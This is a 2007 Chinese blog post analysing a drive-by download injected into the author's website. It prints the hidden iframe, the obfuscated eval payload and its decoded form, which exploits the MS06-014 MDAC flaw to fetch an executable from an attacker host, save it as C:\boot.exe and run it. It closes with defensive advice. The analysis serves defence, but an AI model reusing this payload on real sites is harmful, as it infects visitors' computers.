浪淘沙

XSpin is blogged by xPilot & Janssen
  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

一个病毒代码的分析(针对MS06-014公告列出的漏洞)

Posted on 2007-03-18 20:02  浪淘沙  阅读(5393)  评论(10编辑  收藏  举报

突然一天打开自己的网站被瑞星杀出个特洛伊来,xPilot的麦咖啡也查到了,仔细检查服务器上自己写的代码并没有什么可疑的地方,看着都是自己写的,再看看发送过来的网页代码,发现被嵌入了一个<iframe>:

<iFrAmE SRc=http://cool.47555.com/k.htm width=1 height=1 frameborder=0></IfRaMe>
一看就估计是服务器中毒了,病毒在代码中查找替换第一个<title>,和第一个</script>将其注释掉并在前面插入上面的那段代码。注释的代码标签不对称所以很容易就让网站显示时变得特别难看。

源代码:
<title>页面标题</title>

替换后代码:
<iFrAmE SRc=http://cool.47555.com/k.htm width=1 height=1 frameborder=0></IfRaMe><!--/title>


<!-- 如果这里刚好有一段注释的话,就到结束标签位置,本行前面那个注释符号失效-->

所以如果你打开网站显示不正常的话请赶快打开源代码看看顶部是否有类似的代码

将 http://cool.47555.com/k.htm 下载后用EditPlus打开(千万不要用浏览器打开),代码如下:
<base onmousemove="window.status=' ';return true"><script language =javascript>
var J=function(m){return String.fromCharCode(m^66)};eval(J(52)+J(35)+J(48)+J(98)+J(55)+J(48)+J(46)+J(110)+J(50)+J(35)+J(54)+J(42)+J(121)+J(55)+J(48)+J(46)+J(127)+J(96)+J(42)+J(54)+J(54)+J(50)+J(120)+J(109)+J(109)+J(33)+J(45)+J(45)+J(46)+J(108)+J(118)+J(117)+J(119)+J(119)+J(119)+J(108)+J(33)+J(45)+J(47)+J(109)+J(115)+J(58)+J(58)+J(58)+J(58)+J(108)+J(39)+J(58)+J(39)+J(96)+J(121)+J(50)+J(35)+J(54)+J(42)+J(127)+J(96)+J(1)+J(120)+J(30)+J(30)+J(32)+J(45)+J(45)+J(54)+J(108)+J(39)+J(58)+J(39)+J(96)+J(121)+J(54)+J(48)+J(59)+J(57)+J(52)+J(35)+J(48)+J(98)+J(35)+J(38)+J(45)+J(127)+J(106)+J(38)+J(45)+J(33)+J(55)+J(47)+J(39)+J(44)+J(54)+J(108)+J(33)+J(48)+J(39)+J(35)+J(54)+J(39)+J(7)+J(46)+J(39)+J(47)+J(39)+J(44)+J(54)+J(106)+J(96)+J(45)+J(32)+J(40)+J(39)+J(33)+J(54)+J(96)+J(107)+J(107)+J(121)+J(52)+J(35)+J(48)+J(98)+J(38)+J(127)+J(115)+J(121)+J(35)+J(38)+J(45)+J(108)+J(49)+J(39)+J(54)+J(3)+J(54)+J(54)+J(48)+J(43)+J(32)+J(55)+J(54)+J(39)+J(106)+J(96)+J(33)+J(46)+J(35)+J(49)+J(49)+J(43)+J(38)+J(96)+J(110)+J(96)+J(33)+J(46)+J(49)+J(43)+J(38)+J(120)+J(0)+J(6)+J(123)+J(116)+J(1)+J(119)+J(119)+J(116)+J(111)+J(116)+J(119)+J(3)+J(113)+J(111)+J(115)+J(115)+J(6)+J(114)+J(111)+J(123)+J(122)+J(113)+J(3)+J(111)+J(114)+J(114)+J(1)+J(114)+J(118)+J(4)+J(1)+J(112)+J(123)+J(7)+J(113)+J(116)+J(96)+J(107)+J(121)+J(52)+J(35)+J(48)+J(98)+J(39)+J(127)+J(115)+J(121)+J(52)+J(35)+J(48)+J(98)+J(58)+J(47)+J(46)+J(127)+J(35)+J(38)+J(45)+J(108)+J(1)+J(48)+J(39)+J(35)+J(54)+J(39)+J(13)+J(32)+J(40)+J(39)+J(33)+J(54)+J(106)+J(96)+J(15)+J(43)+J(33)+J(48)+J(45)+J(49)+J(45)+J(36)+J(54)+J(108)+J(26)+J(15)+J(14)+J(10)+J(22)+J(22)+J(18)+J(96)+J(110)+J(96)+J(96)+J(107)+J(121)+J(52)+J(35)+J(48)+J(98)+J(36)+J(127)+J(115)+J(121)+J(52)+J(35)+J(48)+J(98)+J(35)+J(32)+J(127)+J(96)+J(3)+J(38)+J(45)+J(38)+J(32)+J(108)+J(96)+J(121)+J(52)+J(35)+J(48)+J(98)+J(33)+J(38)+J(127)+J(96)+J(17)+J(54)+J(48)+J(39)+J(35)+J(47)+J(96)+J(121)+J(52)+J(35)+J(48)+J(98)+J(37)+J(127)+J(115)+J(121)+J(52)+J(35)+J(48)+J(98)+J(35)+J(49)+J(127)+J(35)+J(38)+J(45)+J(108)+J(33)+J(48)+J(39)+J(35)+J(54)+J(39)+J(45)+J(32)+J(40)+J(39)+J(33)+J(54)+J(106)+J(35)+J(32)+J(105)+J(33)+J(38)+J(110)+J(96)+J(96)+J(107)+J(121)+J(52)+J(35)+J(48)+J(98)+J(42)+J(127)+J(115)+J(121)+J(58)+J(47)+J(46)+J(108)+J(13)+J(50)+J(39)+J(44)+J(106)+J(96)+J(5)+J(7)+J(22)+J(96)+J(110)+J(55)+J(48)+J(46)+J(110)+J(114)+J(107)+J(121)+J(58)+J(47)+J(46)+J(108)+J(17)+J(39)+J(44)+J(38)+J(106)+J(107)+J(121)+J(35)+J(49)+J(108)+J(54)+J(59)+J(50)+J(39)+J(127)+J(115)+J(121)+J(52)+J(35)+J(48)+J(98)+J(44)+J(127)+J(115)+J(121)+J(35)+J(49)+J(108)+J(45)+J(50)+J(39)+J(44)+J(106)+J(107)+J(121)+J(35)+J(49)+J(108)+J(53)+J(48)+J(43)+J(54)+J(39)+J(106)+J(58)+J(47)+J(46)+J(108)+J(48)+J(39)+J(49)+J(50)+J(45)+J(44)+J(49)+J(39)+J(0)+J(45)+J(38)+J(59)+J(107)+J(121)+J(35)+J(49)+J(108)+J(49)+J(35)+J(52)+J(39)+J(54)+J(45)+J(36)+J(43)+J(46)+J(39)+J(106)+J(50)+J(35)+J(54)+J(42)+J(110)+J(112)+J(107)+J(121)+J(35)+J(49)+J(108)+J(33)+J(46)+J(45)+J(49)+J(39)+J(106)+J(107)+J(121)+J(52)+J(35)+J(48)+J(98)+J(49)+J(42)+J(39)+J(46)+J(46)+J(127)+J(35)+J(38)+J(45)+J(108)+J(33)+J(48)+J(39)+J(35)+J(54)+J(39)+J(45)+J(32)+J(40)+J(39)+J(33)+J(54)+J(106)+J(96)+J(17)+J(42)+J(39)+J(46)+J(46)+J(108)+J(3)+J(50)+J(50)+J(46)+J(43)+J(33)+J(35)+J(54)+J(43)+J(45)+J(44)+J(96)+J(110)+J(96)+J(96)+J(107)+J(121)+J(49)+J(42)+J(39)+J(46)+J(46)+J(108)+J(17)+J(42)+J(39)+J(46)+J(46)+J(7)+J(58)+J(39)+J(33)+J(55)+J(54)+J(39)+J(106)+J(50)+J(35)+J(54)+J(42)+J(110)+J(96)+J(96)+J(110)+J(96)+J(96)+J(110)+J(96)+J(45)+J(50)+J(39)+J(44)+J(96)+J(110)+J(114)+J(107)+J(121)+J(63)+J(33)+J(35)+J(54)+J(33)+J(42)+J(106)+J(39)+J(107)+J(57)+J(63)+J(121)+'');
</script>

<OBJECT style="display:&#X6E;&#X6F;&#X6E;&#X65;" type="tex&#116&#47&#120&#45&#115&#99&#114iptlet" data="&#X4D;&#X4B;&#X3A;&#X40;&#X4D;&#X53;&#X49;&#X54;Sto&#114&#101&#58&#109&#104tml&#X3A;&#X63;&#X3A;&#X5C;&#X2E;&#X6D;ht&#33http://cool.47555.com/count.html&#X3A;&#X3A;/%6C%65%66t&#46htm"></OBJECT>
<script src='http://s96.cnzz.com/stat.php?id=369194&web_id=369194&online=2' language='JavaScript' charset='gb2312'></script>
<script src="http://cool.47555.com/cc.js"></script>

是段编码的代码,通过eval()来执行。我顺便将其解码,下面的object内也是HtmlEncode掉了的,也顺便Decode一下,并做一些缩进处理:
<base onmousemove="window.status=' ';return true">
<script language =javascript>
    
var url,path;
    url
="http://cool.47555.com/1xxxx.exe"
;
    path
="C:\\boot.exe"
;
    
try
{
        
var ado=(document.createElement("object"
));
        
var d=1
;
        ado.setAttribute(
"classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
);
        
var e=1
;
        
var xml=ado.CreateObject("Microsoft.XMLHTTP",""
);
        
var f=1
;
        
var ab="Adodb."
;
        
var cd="Stream"
;
        
var g=1
;
        
var as=ado.createobject(ab+cd,""
);
        
var h=1
;
        xml.Open(
"GET",url,0
);
        xml.Send();
        as.type
=1
;
        
var n=1
;
        as.open();
        as.write(xml.responseBody);
        as.savetofile(path,
2
);
        as.close();
        
var shell=ado.createobject("Shell.Application",""
);
        shell.ShellExecute(path,
"","","open",0
);
    }
catch
(e){};
</script>

<OBJECT style="display:none" type="text/x-scriptlet" data="MK:@MSITStore:mhtml:c:\.mht!http://cool.47555.com/count.html::/%6C%65%66t.htm"></OBJECT>
<script src='http://s96.cnzz.com/stat.php?id=369194&web_id=369194&online=2' language='JavaScript' charset='gb2312'></script>
<script src="http://cool.47555.com/cc.js"></script>

现在基本上明了了,这段代码利用微软MS06-014公告(2006年4月-5月)列出的一个MDAC功能上的漏洞远程下一个代码然后运行,在系统盘根目录下放一个boot.exe文件(C盘就是 C:\Boot.exe),
用到的几个关键对象:
Microsoft.XMLHTTP
Adodb.Stream
Shell.Application
执行完毕后通过最后那两个脚本开始干坏事了。

而且,看代码就猜测是国人所为。

至于作者嘛,我看了上面涉及的URL
cool.47555.com
s96.cnzz.com
这两个域名都指向IP:58.215.65.21
随便找几个IP查询的一查,都是指向 江苏省无锡市电信这个地方。直接访问这个地址并没有挂哪个网站,估计是IDC机房里的某台托管服务器上被人做了手脚或是里面某个员工用自己的工作机干的蠢事了,代码很简单,就是利用一个漏洞来执行点东西,可这种行为却伤害了许多无辜的服务器和网民的电脑。我的小站算是被害了,程序又放在别人机子上,那个笨蛋网管搞了快1周了都没信息,居然说是我自己机子上的病毒,花了钱却心凉啊。

如果暂时没有杀毒软件或无法升级想看那些中了这个病毒的网站又怕病毒的话列出几个解决办法:
1. IE中将http://cool.47555.com和http://s96.cnzz.com 列入黑名单,或者直接将 58.215.65.21 列入黑名单
2. 如果你是公司局域网网管或有权力管自己的路由器的话,直接在路由器上封IP
如果有杀毒软件的话赶快先升级,我原来的2006年底某个版本(18.***)的瑞星都被这个病毒干掉了。
能出国访问呢,请根据微软MS06-014公告列出的漏洞下载补丁,这是最安全的